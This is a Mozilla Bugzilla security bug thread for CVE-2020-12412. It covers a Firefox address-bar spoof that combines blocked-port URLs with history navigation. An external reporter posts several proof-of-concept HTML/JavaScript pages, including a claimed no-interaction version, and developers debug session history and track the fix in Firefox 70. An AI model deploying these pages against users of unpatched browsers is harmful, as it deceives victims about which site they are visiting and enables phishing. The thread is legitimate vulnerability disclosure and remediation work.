Closed Bug 1528587 (CVE-2020-12412) Opened 5 years ago Closed 4 years ago

Address bar spoof using history navigation and blocked ports

Categories

(Core :: DOM: Navigation, defect, P2)

Product:
Core
Component:
DOM: Navigation
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla70
Tracking Flags:
Tracking Status
firefox-esr68 - wontfix
firefox69 --- wontfix
firefox70 - fixed
firefox71 - fixed
firefox72 - fixed
firefox73 + fixed

People

(Reporter: oess44, Assigned: peterv)

Details

(Keywords: csectype-spoof, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Attachments

(3 files, 1 obsolete file)

poc-video.mp4
266.85 KB, video/mp4
Details
mozilla-report.pdf
216.12 KB, application/pdf
Details
poc-no-user-interaction.mkv
264.38 KB, video/x-matroska
Details
Attached file mozilla-firefox.zip (obsolete) —

Address Bar Spoofing security issue was tested against newest version of Mozilla Firefox. Both Linux and Windows version were behaving the same way which means both of them are vulnerable. I have tested it on 64bit Operating Systems(Ubuntu 16.04 and Windows 7). Client itself was 64bit as well. I have attached zip file containing report with the vulnerability details including poc code and short mp4 video. Please contact me via: oess44@gmail.com. Regards

Flags: sec-bounty?

Description:

  1. Victim opens attacker website
  2. Attacker website opens restricted address such as https://google.com:1
    in a new tab
  3. Attacker website opens another attacker resource such as
    attacker.com/test.html in the previously opened tab(this resource is
    running actual javascript code leading to Address Bar Spoofing)
  4. Attacker website opens another restricted address such as
    https://dontdoit.com:1 in the previously opened tab
    When victim clicks back button just few times he will see https://google.com:1
    in Address Bar and the content will be attacker controlled.
    Following is a proof of concept html code included:

PoC in the pdf in the zipfile:

attacker.html

<!DOCTYPE html>
<html>
<body>
<script>
win=window.open(“https://google.com:1”);
setTimeout(‘win.location=”http://attackerip/test.html”',100);
setTimeout(‘win.location=”https://dontdoit.com:1”',300);
</script>
</body>
</html>

test.html

<!DOCTYPE html>
<html>
<body>
<p>Hello World</p>
<script>
setTimeout(‘window.history.go(-1); window.history.go(1);’ 500);
</script>
</body>
</html>

I haven't tried to reproduce yet because the steps combined with the code don't make a lot of sense to me. What's the relevance of "dontdoit.com" ? And in your testing, does the webpage's history navigation suffice here, or does the user still need to hit the back button themselves?

Component: Security → Address Bar
Flags: needinfo?(oess44)
Summary: Full Address Bar Spoofing has been identified. It is possible to spoof any domain name either with http or https protocol. → Address bar spoof using history navigation and unreachable ports

Hi,
Methodology used in my attack is based on the fact Firefox is confused when the history chain looks like this:
Restricted Address like https://google.com:1 -> legit address -> Restricted address like https://dontdoit.com:1
The relevance of the "dontdoit.com" is crucial because attack would otherwise not work. Please take a look at the video proof of concept. Answering your last question, user needs to hit the back button themselves. I have tried to automate it to the maximum it seems though that this last steps needs to be performed by victim(he needs to click back button)

If you want to reproduce it manually you can follow these steps:

create test.html
...
<button onclick="poc()">Click me to confuse firefox</button>
<script>
function poc() {
window.history.go(-1);
window.history.go(1);
}
</script>
...

1: type https://google.com:1 in Address Bar
2: type http://localhost/test.html in Address Bar
3: type https://whatever.com:1 in Address Bar
4: Click back button
5: Click "Click me to confuse firefox" button
6: Click back button
7: Click back button

This is how it can be done manually. You will see that the Address Bar is showing https://google.com:1 with the attacker controlled content. Most of these steps can be automated however as shown in my first report.

Flags: needinfo?(oess44)

Hi team
Its almost a week with no information from your side. Please let me know if you're working on it. It would be great to get in touch with you, maybe even cooperate in order to fix the issue. I think that the issue I have posted is worth investigation rather than ignoring it. Regards

Flags: needinfo?(mak77)
CC list accessible: false

(In reply to Adrian from comment #3)

Hi team
Its almost a week with no information from your side

It really hasn't. This was reported just under 4 days ago on bugzilla, and I responded 2 days ago. I don't understand why you think there's been no information.

Please do not make this bugreport inaccessible to people on the CC list again as you did just now (I'm reverting that change). It stops some people (like the person you asked for needinfo...) from seeing the bug / any requests.

I just tried to reproduce the issue and could not. I get an error page when opening https://google.com:1/ that says:

"This address uses a network port which is normally used for purposes other than Web browsing. Firefox has canceled the request for your protection."

Are you actually testing on port 1, or did you modify the testcase before submitting without retesting?

CC list accessible: true
Flags: needinfo?(oess44)

maybe even cooperate in order to fix the issue.

Did you have suggestions? Does the same issue appear in other browsers?

Security should flag the right severity of this before we assign a proper priority.
Would you mind attaching the full set of html files ready to reproduce the bug, those would help with QA and with reproducing on other browsers.

Flags: needinfo?(mak77)

There are two files required. The methodology have been already described including how to achieve the goal manually. I will describe it shortly again however.

test1.html

<!DOCTYPE html>
<html>
<body>
<script>
win=window.open("https://google.com:1");
setTimeout('win.location="http://attackerip/test2.html"',100);
setTimeout('win.location="https://whatever.com:1"',300);
</script>
</body>
</html>

test2.html

<!DOCTYPE html>
<html>
<body>
<p>Hello World</p>
<script>
setTimeout('window.history.go(-1); window.history.go(1);' 500);
</script>
</body>
</html>

The poc should work like that: Attacker send victim link to the test.html file. This file is opening https://google.com:1 in a new tab, after 100 ms test2.html is being opened in the same tab and finally another restricted address is opened in the same tab: https://whatever.com:1
When user now click back button he will be on test2.html page which is running
setTimeout('window.history.go(-1); window.history.go(1);' 500);
After that when user clicks back button again just few times he will see https://google.com:1 in Address Bar with the attacker controlled content. Please let me know if you succeeded to reproduce it. I will appreciate any information. Regards

(In reply to :Gijs (he/him) from comment #4)

I just tried to reproduce the issue and could not. I get an error page when opening https://google.com:1/ that says:

"This address uses a network port which is normally used for purposes other than Web browsing. Firefox has canceled the request for your protection."

Are you actually testing on port 1, or did you modify the testcase before submitting without retesting?

Adrian, can you respond to this question please?

It can be any port which makes firefox returning:
"This address is restricted
This address uses a network port which is normally used for purposes other than Web browsing. Firefox has canceled the request for your protection."
I have noticed that port number 1 is applicable. Port 123 seems to be right as well. The vulnerability occurs only when we got history chain looking like that: Restricted address -> attacker -> Restricted address. Please try to reproduce it manually first. Previously I have described all the steps required to do it manually. You will then understand correctly my methodology, why am I using two html files, why those ports are used and why history.go methods are used. Answering your last question I have tested it both with port 1 and 123 and it worked.

OK, so the automated testcase with 2 files just doesn't work for me. First of all, there's a comma missing in your setTimeout call in test.html, but even when I fix that I can't reproduce. I end up with a tab that just knows about google.com:1 and otherdomain.com:1, and nothing else, and shows only error pages. I'm guessing the timings need tweaking.

Anyway, I can reproduce (on beta 66) when using the manual steps. Copying from comment #2 and fixing up some markup here:

Create test file and serve over http (e.g. localhost):

<button onclick="poc()">Click me to confuse firefox</button>
<script>
function poc() {
window.history.go(-1);
window.history.go(1);
}
</script>
  1. new tab
  2. navigate to https://google.com:1 from the address bar
  3. navigate to the test file in the same tab.
  4. navigate to https://whatever.com:1 from the address bar in the same tab.
  5. Click back button (now you're back on the test page)
  6. Click "Click me to confuse firefox" button in page content. You go forward to whatever.com:1 again.
  7. Click back button (now you're back on the test page)
  8. Click back button (now you're... still on the test page, but the location bar says you're at google.com:1 )

After these steps, the web console says:

> document.baseURI
"http://localhost/blah/blah/blah/blah/testpage.html"

document.location.href
"https://google.com:1/"

so docshell is confused. gBrowser.selectedBrowser.currentURI also points to google.com:1 . The node principal of the document is correct, as is the parent process browser's idea of the content principal (so no XSS or whatever) - but the current URI and window.location are wrong. So docshell is confused, and the address bar is mirroring that confusion. I'm guessing the error page loads are confusing session history somehow.

:qdot, can you take a look? (bz, olli, if you want to chime in please do)

Group: firefox-core-security → dom-core-security
Status: UNCONFIRMED → NEW
Component: Address Bar → Document Navigation
Ever confirmed: true
Flags: needinfo?(oess44) → needinfo?(kyle)
Product: Firefox → Core
Summary: Address bar spoof using history navigation and unreachable ports → Address bar spoof using history navigation and blocked ports
Attached video poc-video.mp4 —
Attachment #9044466 - Attachment is obsolete: true
Flags: needinfo?(kyle)

Re-ni'ing myself, didn't mean to mark that.

Flags: needinfo?(kyle)

Hi Team,
Have you managed to assign proper severity? According to Firefox Release Calendar a new version is planned to be released in a matter of 7 days. Would be great to know if my finding qualify for CVE or something. Regards

This bug will definitely not be fixed in next week's release. That's been locked down and in testing for a while.

Keywords: csectype-spoof, sec-moderate

Hi Team,
I have developed slightly modified version of my exploit. It turned out there is no user interaction needed at all. This Attack could have been used for a mass pwnage. It is only required victim visits specially crafted website. Please take it into account. I have attached another video with the proof. Following is the code I am using now. The timings is here adjusted to high values just in order to show you each steps. I am using three html files: test.html, test2.html and test3.html

Victim is only required to open test2.html file.

test2.html:

<html>
</body>
<script>
    win = window.open("https://google.com:1");
    setTimeout('win.location = "http://localhost/"', 2000);
    setTimeout('win.location = "http://testtest.com:1"', 4000);
    setTimeout('win.location = "http://localhost/exploring/test.html"', 6000);
    setTimeout('win.location.replace("http://localhost/exploring/test3.html");', 8000)
</script>
</body>
</html>

test.html

<html>
<body>
<script>
    setTimeout('window.history.go(-3); window.history.go(-1);', 250);
</script>
</body>
</html>

test3.html:

<html>
<p>THIS IS PARAGRAPH</p>
<a href="http://abcd.abcde" id=mylink>link</a>
<script>
    window.history.go(-2);
</script>
</html>

This is the correct version, sorry for bothering you, but I have mistakenely made a typo error and I just wanted to post a valid code so this is the reason for another comment.

(In reply to Adrian from comment #16)

Created attachment 9054357 [details]
poc-no-user-interaction.mkv

Hi Team,
I have developed slightly modified version of my exploit. It turned out there is no user interaction needed at all. This Attack could have been used for a mass pwnage. It is only required victim visits specially crafted website. Please take it into account. I have attached another video with the proof. Following is the code I am using now. The timings is here adjusted to high values just in order to show you each steps. I am using three html files: test.html, test2.html and test3.html

Victim is only required to open test2.html file.

test2.html:
<html>
<body>
</script>
win = window.open("https://google.com:1");
setTimeout('win.location = "http://localhost/"', 2000);
setTimeout('win.location = "http://testtest.com:1"', 4000);
setTimeout('win.location = "http://localhost/exploring/test.html"', 6000);
setTimeout('win.location.replace("http://localhost/exploring/test3.html")', 8000);
</script>
</body>
</html>

test.html
<html>
<body>
<script>
setTimeout('window.history.go(-3); window.history.go(-1);', 250);
</script>
</body>
</html>

test3.html:
<html>
<p>THIS IS PARAGRAPH</p>
<a href="http://abcd.abcde" id=mylink>link</a>
<script>
window.history.go(-2);
</script>
</html>

Hi,
It is almost 3 weeks without any information. 4 days ago I have attached video poc along with code proving that no user interaction is needed to perform the attack. Given the fact my technique is working on almost every Firefox release to date it would be great to know the proper severity now. Eventually I would really appreciate any info regarding planned fix/patch date. Is it possible for you to deliver it before next major release?

Flags: needinfo?(kyle)

Ugh was updating CC list while discussing this with someone and un'ni'd myself again. Looking at some of the potential session history issues.

Flags: needinfo?(kyle)

I couldn't reproduce with the automated testcases, but the steps from comment 10 work for me.

So far it looks like session history is passing the right info into nsDocShell, trying to figure out what goes wrong next.

Actually, I take that back. The URI in the session history entry is "https://google.com:1/", but its shared entry's document looks to be for the poc.html file.

In order to reproduce the issue with automated testcase it is necessary to serve those 3 html files. My poc proving there is no user interaction needed is composed of three html files. And it works like a charm for me every time. I have also provided video "poc-no-user-interaction.mkv" showing exact steps. If you're having some troubles though please ensure you're doing it this way:

  1. Install some kind of webserver, I have tested it using apache2 for Linux
  2. copy following three html files to one location. I have created directory named "poc" under which all html files are served

test2.html
<!DOCTYPE html>
<html>
<body>
<p>THIS IS POC</p>

<script>
win = window.open("https://google.com:1");
setTimeout('win.location = "http://localhost/"', 1000);
setTimeout('win.location = "http://testtest.com:1"', 2500);
setTimeout('win.location = "http://localhost/poc/test.html"', 3500);
setTimeout('win.location.replace("http://localhost/poc/test3.html");', 4500);
</script>

</body>
</html>

test3.html
<!DOCTYPE html>
<html>
<script>
window.history.go(-2);
</script>
</html>

test.html
<!DOCTYPE html>
<html>
<body>
<p>Hello World this is my Content</p>

<script>
setTimeout('window.history.go(-3); window.history.go(-1);', 250);
</script>

</body>
</html>

  1. Open web browser, and type http://youraddr/poc/test2.html into the address bar then click enter to load the resource. I created directory "poc" which is hosting my html files and so I am invoking test2.html like that:
    http://localhost/poc/test2.html
  2. The result should be https://google.com:1 in the address bar of new tab and the content of test.html file. Please let me know if you managed to reproduce it.
Flags: needinfo?(kyle)

Hi,
Can anybody please answer few questions?
1: Is this vulnerability getting any attention?
2: Does it qualify for CVE/bounty ?
3: When you're planning to release the patch?
4: Why almost 90 days its not enough to fix the issue?

Neha, radar'ing this to you - can you help move this forward? Thanks.

Flags: needinfo?(nkochar)

I have been trying to figure out what's going wrong, it's just complicated to figure out even with rr.

The viewer of the second load is set on the entry for the first load, by nsDocumentViewer::Destroy using its mSHEntry. The entry for the first load is set on the viewer for the second load in nsDocumentViewer::Close, where we set that mSHEntry. That nsDocumentViewer::Close call comes from nsDocShell::SetupNewViewer. I think that the mContentViewer of that nsDocShell is for the second load at that point, but the mOSHE is for the first load. I think I've found the point where we set the mOSHE. Next is determining why we set mOSHE to the entry for the first load even though the viewer is for the second load.

Assignee: nobody → peterv
Flags: needinfo?(nkochar)

(In reply to Adrian from comment #23)

1: Is this vulnerability getting any attention?

Yes.

2: Does it qualify for CVE/bounty ?

That's for the security team to determine, sec-moderate bugs don't automatically qualify for a bounty iirc.
`

3: When you're planning to release the patch?

When we actually have a patch to release :-).

4: Why almost 90 days its not enough to fix the issue?

We're trying to fix it, but it's complicated to figure out what exactly is going wrong.

Here's what I think is happening when we're executing the two lines:

window.history.go(-1);
window.history.go(1);

The first go triggers a load from the history entry, and we set mLSHE. Before the load triggers the setup of a new viewer we execute the second go. At this point nsDocShell::Stop is called, but because the first go was loading an error page we store mLSHE into mOSHE (https://searchfox.org/mozilla-central/rev/a887c90ea9c19a0b5529a1f5fa351929944887ba/docshell/base/nsDocShell.cpp#4702). We then also store the previous content viewer on the entry in mOSHE, even though we haven't created a new viewer between the two loads from history entries.

Smaug, I already discussed this a bit with bz, and he wanted to get your opinion.

The basic issue is that if we load an error page we store the mLSHE into the mOSHE, even if the load of the error page was interrupted before the content viewer for the error page was set up. The nulling of mLSHE in nsDocShell::Stop is necessary because nsDocShell::EndPageLoad is never called for error pages (we don't get state changes for those). We could try to check for this specific case somehow (checking the document in mContentViewer for an error page?) and then skip the nulling of mLSHE in nsDocShell::Stop. But maybe you have a better idea?

Flags: needinfo?(bugs)
Status: NEW → ASSIGNED

That sounds reasonable to me, null mLSHE later (and hopefully making error loading more similar to normal pages).
But without debugging this I don't have a good idea where to do it.

Flags: needinfo?(bugs)

hi, how about patch ? ;) this technique doesn't work any more for the newest Firefox version which can suggest you've done something with it
either you patched it or it has been patched by itself magically;). It would be great to finally obtain information regarding severity of this bug.
Please note I have included poc working without user interaction other than going into attacker site(clicking link). I shared this bug also because I wanted to get CVE at least. How long would it take for you to finally close this?

(In reply to Adrian from comment #23)

Can anybody please answer few questions?

Asking here in a bug gives no guarantee that questions directed to other folks will be answered, as an FYI. Security bounty questions should be sent to security@mozilla.org per our client bounty FAQ at https://www.mozilla.org/en-US/security/client-bug-bounty/ (which I assume you've read if you're interested in bounties).

1: Is this vulnerability getting any attention?

There is attention in this bug. That is where the bug activity will occur. There is no other channel where it will happen.

2: Does it qualify for CVE/bounty ?

CVEs are assigned when a bug is fixed, during the process for the release it is fixed in, unless there is a reason to do so.

Bounty questions should not be asked in the bug but in email to security@mozilla.org, as the client FAQ above states.

The FAQ says:

"If you have filed the bug directly in Bugzilla without using the Bugzilla client bug bounty form, notify the Mozilla Security Group by email to security@mozilla.org and include the number of the bug you filed and a mention that you are submitting it for bounty consideration. Do not send the actual vulnerability via email."

3: When you're planning to release the patch?

There is no specific plan because the bug is not fixed yet. When we have a patch for it that is reviewed and approved, then we will know when it is fixed.

4: Why almost 90 days its not enough to fix the issue?

Because this is a sec-moderate issues and people are often assigned a variety of work and other work takes a higher priority (such as high or critical rated security issues).

(In reply to Adrian from comment #30)

hi, how about patch ? ;) this technique doesn't work any more for the newest Firefox version which can suggest you've done something with it
either you patched it or it has been patched by itself magically;).

Or it was fixed by other work that has been done, which often happens as we clean up code.

It would be great to finally obtain information regarding severity of this bug.

It is rated sec-moderate and has been fro some time. That's the Mozilla severity rating of it when it comes to security.

Please note I have included poc working without user interaction other than going into attacker site(clicking link). I shared this bug also because I wanted to get CVE at least. How long would it take for you to finally close this?

When we the developers who have been looking at it verify that it is fixed.

If it was incidentally "fixed" or the poc just no longer reproduces, it may not be assigned a CVE. It depends on the change that affected the issue.

Peter, can you take a look at this and see what might have changed to cause the poc to no longer work?

Flags: needinfo?(peterv)

The steps to reproduce from comment 10 still work for me. None of the "automated" poc ever worked. I don't think anything has changed.

Flags: needinfo?(peterv)

Some time ago I have included video proving that all steps can be indeed automated and the only thing user is required to do is to get to the attacker page. I can easily reproduce it all the time using comment 22 methodology. I have also posted video proving it can be done.. If you feel not competent enough to reproduce it then I think I will rather contact security team directly.

(In reply to Adrian from comment #34)

Some time ago I have included video proving that all steps can be indeed automated and the only thing user is required to do is to get to the attacker page. I can easily reproduce it all the time using comment 22 methodology. I have also posted video proving it can be done..

Your comment 22 involves a bunch of setTimeout calls that likely work out differently on different machines and configurations, which means that automated testcase hasn't worked for any of the other people CC'd on this bug who have attempted to use it.

That's fine, we're still aware there's a problem and will still be investigating how to fix this. It does mean we have no idea why your automated steps "stopped working" for you. It's quite possible some of the timings shifted for you as a result of performance improvements or something else relating to the runtime environment, rather than a "secret fix" for this bug landing.

If you feel not competent enough to reproduce it then I think I will rather contact security team directly.

Please see the etiquette guidelines at https://bugzilla.mozilla.org/page.cgi?id=etiquette.html - insulting people is not acceptable.

Hi,
Indeed it is still working, at least on Windows 7.
I have tested it on Windows 10 Enterprise as well and its not working here.
Regards

Priority: -- → P2

Hi,
Two months ago this bug has been marked with P2 priority. I thought that P2 means that this bug will be patched with the new release which was delivered today. Please let me know if it is going to be patched, if CVE will be assigned etc.

hi is there any news regarding this issue ? I seen cve assigned for some moderate and even low issues. If my finding does not qualify for you just please let me know so I will not wait any longer and publish it. Regards

Flags: needinfo?(dveditz)

This appears to have been fixed in Firefox 70, or if not "fixed" at least the testcase was broken. Now you end up on the test3.html page, showing the correct test3 URL in the addressbar.

I saw the broken behavior in Firefox 69, and I still see the broken behavior in ESR-68 which we will support until summer. From the testcase it appears test3 (showing "attacker" content) may have been the point, but I always saw the blank content from test.html. Easy enough to put phishy content on that page instead (which I did to satisfy myself). Got the same behavior on the now-EOL ESR-60

As a spoof it's still not all that convincing (e.g. there's no lock). Some actual phish on close-enough names are more convincing, although those can in theory end up being blocked by SafeBrowsing and these unreachable names won't.

Much more concerning is that internally we think the document.location is the fake domain, although document.domain is correct. I haven't tested but I bet any internal security checks relying on the document URI rather than the principal will get it wrong. It's an invalid origin and won't be same-origin with anything juicy, but to the extent it's same-site with them that will be a problem. Broadly speaking I'm guessing "engine" features will get it right (using principals) and front-end features won't. Confidence in that guess boosted by the first one I tried: the DevTools storage tab shows cookies for the real .google.com domain, but the page content itself doesn't see them in document.cookie.

This will likely get a CVE when we publish an advisory, but we don't get around to that until we've fixed them. As Al said back in comment 31, stop asking in the bug because the developers don't know. Mail the security alias.

Peter: although the testcase is now "worksforme" I'm not sure that this is in fact "fixed" in Firefox 70. Did we make a change that is an actual fix, or is it just some unrelated change that broke the testcase with the underlying problem still lurking? Either way can we identify it and port it back to the ESR branch?

status-firefox69: --- → wontfix
status-firefox70: --- → ?
status-firefox71: --- → ?
status-firefox-esr68: --- → affected
tracking-firefox70: --- → +
tracking-firefox71: --- → +
tracking-firefox-esr68: --- → 71+
Flags: needinfo?(dveditz) → needinfo?(peterv)

(In reply to Daniel Veditz [:dveditz] from comment #39)

Peter: although the testcase is now "worksforme" I'm not sure that this is in fact "fixed" in Firefox 70. Did we make a change that is an actual fix, or is it just some unrelated change that broke the testcase with the underlying problem still lurking? Either way can we identify it and port it back to the ESR branch?

I'm not aware of a fix specifically for this. I'll try to figure out if the underlying problem is still there, but I suspect it is.

I think asynchronous history navigations (bug 1563587) might have fixed this. Sounds a bit scary to port to ESR.

Flags: needinfo?(peterv)

(In reply to Peter Van der Beken [:peterv] from comment #41)

I think asynchronous history navigations (bug 1563587) might have fixed this.

That being said, I'm not completely sure that the problem from comment 27 couldn't cause other problems like this.

I have been thinking how this could still happen with async history navigations fixed (bug 1563587), but so far I haven't been able to find a way. We should still try to implement the solution from comment 28, once we figure out where we can move the nulling of mLSHE for error loads.

Peter, would it be best to track this for 73 instead of the earlier releases since it still needs some work here?

Flags: needinfo?(peterv)

I've verified that turning off async history navigations with the pref makes the bug reappear with the steps from comment 10. A fix for that will take more time, so I think tracking for 73 would make more sense. But for now, async history navigations seem like a good enough proetection against this.

Flags: needinfo?(peterv)

[Tracking Requested - why for this release]: see comment 45

tracking-firefox70: + → ?
tracking-firefox71: + → ?
tracking-firefox73: --- → ?

70 is a past release, 71 is our current release but will be replaced by 72 in 5 weeks. Adjusting flag requests to actually track 73 and 72 which are the releases that could potentially be targeted for a fix/uplift.

status-firefox70: ? → wontfix
status-firefox71: ? → wontfix
status-firefox72: --- → affected
status-firefox73: --- → affected
tracking-firefox70: ? → -
tracking-firefox71: ? → -
tracking-firefox72: --- → ?

Per comments 44/45 it sounds like this is not likely for 72.

status-firefox72: affected → fix-optional
tracking-firefox72: ? → -

Bug 1563587 is going to land on branches, and should fix this. I guess I could move the followup work to a separate bug.

So the original security bug aspect here has been fixed since Fx70 it looks like, via bug 1563587? If so we should resolve this bug so it triggers our advisory-writing and CVE assignment processes.

status-firefox70: wontfix → fixed
status-firefox71: wontfix → fixed
status-firefox72: fix-optional → fixed
status-firefox73: affected → fixed

After discussing this with Dan, I don't think this bug is severe enough to warrant taking the risk of uplifting bug 1563587 to the ESR release as a work-around. I'd be open to eventually taking a patch for the root cause if it's not too scary in the end. FWIW, I agree that it might be better to spin off a new bug for that work for better tracking.

Flags: needinfo?(peterv)

Hi,
Just wondering, is it oficially patched? does it entered advisory-writing and cve assignment process?

Flags: needinfo?(tom)

I filed bug 1622095 to cover the follow-up fixes Peter mentioned so we can mark this one resolved as a security issue.

Status: ASSIGNED → RESOLVED
Closed: 4 years ago
Flags: needinfo?(tom)
Resolution: --- → FIXED
status-firefox-esr68: affected → wontfix
tracking-firefox-esr68: ? → -
Flags: needinfo?(peterv)
Target Milestone: --- → mozilla70
Flags: sec-bounty? → sec-bounty+
Group: dom-core-security → core-security-release

I need to update or otherwise handle the historical advisory for this.

Flags: needinfo?(tom)

We've assigned CVE-2020-12412, updated https://www.mozilla.org/en-US/security/advisories/mfsa2019-34/ The HoF entry will be added during the Q1 update which I hope to do in the next week.

Alias: CVE-2020-12412
Flags: needinfo?(tom)

Removing employee no longer with company from CC list of private bugs.

Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: